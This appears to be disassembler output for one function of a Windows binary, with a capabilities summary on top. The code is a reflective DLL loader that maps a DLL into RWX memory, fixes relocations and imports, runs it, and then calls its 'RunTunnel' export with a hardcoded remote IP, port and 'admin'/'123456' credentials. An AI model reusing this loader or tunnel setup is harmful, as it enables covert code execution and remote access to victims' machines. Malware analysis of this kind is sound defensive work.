Function at 0x1400018e0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x248
mov qword [rsp + 0x238], rcx
mov dword [rsp + 0x234], edx
cmp qword [rsp + 0x238], 0
je 0x140001913
cmp dword [rsp + 0x234], 0
jne 0x14000192f
lea rcx, str.Invalid_DLL_bytes_or_size_n
call fcn.140004b60
mov dword [rsp + 0x244], 0
jmp 0x140001fc6
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x228]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov eax, dword [rax + 0x50]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x220]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rsp + 0x218]
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0
jne 0x1400019d4
mov rdx, qword [rsp + 0x218]
xor eax, eax
mov ecx, eax
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0
jne 0x1400019ff
lea rcx, str.Failed_to_allocate_memory_for_DLL_n
call fcn.140004b60
mov dword [rsp + 0x244], 0
jmp 0x140001fc6
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x220]
sub rax, qword [rcx + 0x30]
mov qword [rsp + 0x208], rax
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x220]
mov eax, dword [rax + 0x54]
mov r8d, eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rsp + 0x220]
add rax, 0x18
mov rcx, qword [rsp + 0x220]
movzx ecx, word [rcx + 0x14]
add rax, rcx
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x1f8], 0
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x220]
movzx ecx, word [rcx + 6]
cmp rax, rcx
jae 0x140001b16
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x200]
mov ecx, dword [rcx + 0xc]
add rax, rcx
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x200]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov qword [rsp + 0x1e8], rax
mov rcx, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x200]
mov eax, dword [rax + 0x10]
mov r8d, eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rsp + 0x200]
add rax, 0x28
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x1f8]
add rax, 1
mov qword [rsp + 0x1f8], rax
jmp 0x140001a6d
mov rax, qword [rsp + 0x220]
mov rax, qword [rax + 0xb0]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x210]
add rax, rcx
mov qword [rsp + 0x1d8], rax
mov dword [rsp + 0x1d4], 0
mov eax, dword [rsp + 0x1d4]
cmp eax, dword [rsp + 0x1e4]
jae 0x140001ce1
mov rax, qword [rsp + 0x1d8]
mov ecx, dword [rsp + 0x1d4]
add rax, rcx
mov qword [rsp + 0x1c8], rax
mov eax, dword [rsp + 0x1d4]
add rax, 8
mov dword [rsp + 0x1d4], eax
mov rax, qword [rsp + 0x1c8]
mov eax, dword [rax + 4]
sub rax, 8
shr rax, 1
mov dword [rsp + 0x1c4], eax
mov rax, qword [rsp + 0x1d8]
mov ecx, dword [rsp + 0x1d4]
add rax, rcx
mov qword [rsp + 0x1b8], rax
mov dword [rsp + 0x1b4], 0
mov eax, dword [rsp + 0x1b4]
cmp eax, dword [rsp + 0x1c4]
jae 0x140001cdc
mov eax, dword [rsp + 0x1d4]
add rax, 2
mov dword [rsp + 0x1d4], eax
mov rax, qword [rsp + 0x1b8]
mov ecx, dword [rsp + 0x1b4]
mov ax, word [rax + rcx*2]
shr ax, 0xc
movzx eax, ax
cmp eax, 0
jne 0x140001c1e
jmp 0x140001cc6
mov rax, qword [rsp + 0x1c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b8]
mov edx, dword [rsp + 0x1b4]
mov cx, word [rcx + rdx*2]
and cx, 0xfff
movzx ecx, cx
add eax, ecx
mov eax, eax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1a0], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rsp + 0x210]
add rdx, qword [rsp + 0x1a8]
lea r8, [rsp + 0x1a0]
mov r9d, 8
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x208]
add rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x210]
add rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x1a0]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1b4]
add eax, 1
mov dword [rsp + 0x1b4], eax
jmp 0x140001bd0
jmp 0x140001b52
mov qword [rsp + 0x198], 0
mov rax, qword [rsp + 0x220]
mov rax, qword [rax + 0x90]
mov qword [rsp + 0x190], rax
mov eax, dword [rsp + 0x190]
mov rcx, qword [rsp + 0x210]
add rax, rcx
mov qword [rsp + 0x198], rax
lea rax, [0x14000c1fd]
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x180], 0
mov rax, qword [rsp + 0x198]
cmp dword [rax + 0xc], 0
je 0x140001eb2
mov rax, qword [rsp + 0x198]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x210]
add rax, rcx
mov qword [rsp + 0x188], rax
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x180], rax
cmp qword [rsp + 0x180], 0
je 0x140001e99
mov qword [rsp + 0x178], 0
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x198]
mov ecx, dword [rcx + 0x10]
add rax, rcx
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
cmp qword [rax], 0
je 0x140001e94
mov rcx, qword [rsp + 0x178]
movabs rax, 0x8000000000000000
and rax, qword [rcx]
cmp rax, 0
je 0x140001e2b
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
and rax, 0xffff
mov qword [rsp + 0x170], rax
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
jmp 0x140001e7b
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x178]
add rax, qword [rcx]
mov qword [rsp + 0x168], rax
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x168]
add rdx, 2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x160]
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov rax, qword [rsp + 0x178]
add rax, 8
mov qword [rsp + 0x178], rax
jmp 0x140001db8
jmp 0x140001e99
mov rax, qword [rsp + 0x198]
add rax, 0x14
mov qword [rsp + 0x198], rax
jmp 0x140001d39
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x220]
mov ecx, dword [rcx + 0x28]
add rax, rcx
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x210]
mov edx, 1
xor r8d, r8d
call rax
cmp eax, 0
jne 0x140001f0f
lea rcx, str.DLL_entry_point_execution_failed_n
call fcn.140004b60
mov dword [rsp + 0x244], 0
jmp 0x140001fc6
mov rcx, qword [rsp + 0x210]
lea rdx, str.RunTunnel
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 0
je 0x140001f9f
lea rcx, [rsp + 0x50]
lea rdx, str.null
mov rax, rsp
mov qword [rax + 0x40], rdx
mov qword [rax + 0x38], rdx
lea rdx, str.123456
mov qword [rax + 0x30], rdx
lea rdx, str.admin
mov qword [rax + 0x28], rdx
lea rdx, str.10827
mov qword [rax + 0x20], rdx
lea r8, str._s__s__s__s__s__s
lea r9, str.42.193.244.137
mov edx, 0x100
call fcn.140004bb0
mov rax, qword [rsp + 0x150]
lea rcx, [rsp + 0x50]
call rax
jmp 0x140001fbb
lea rcx, str.Failed_to_find_RunTunnel_function_n
call fcn.140004b60
mov dword [rsp + 0x244], 0
jmp 0x140001fc6
mov dword [rsp + 0x244], 1
mov eax, dword [rsp + 0x244]
add rsp, 0x248
ret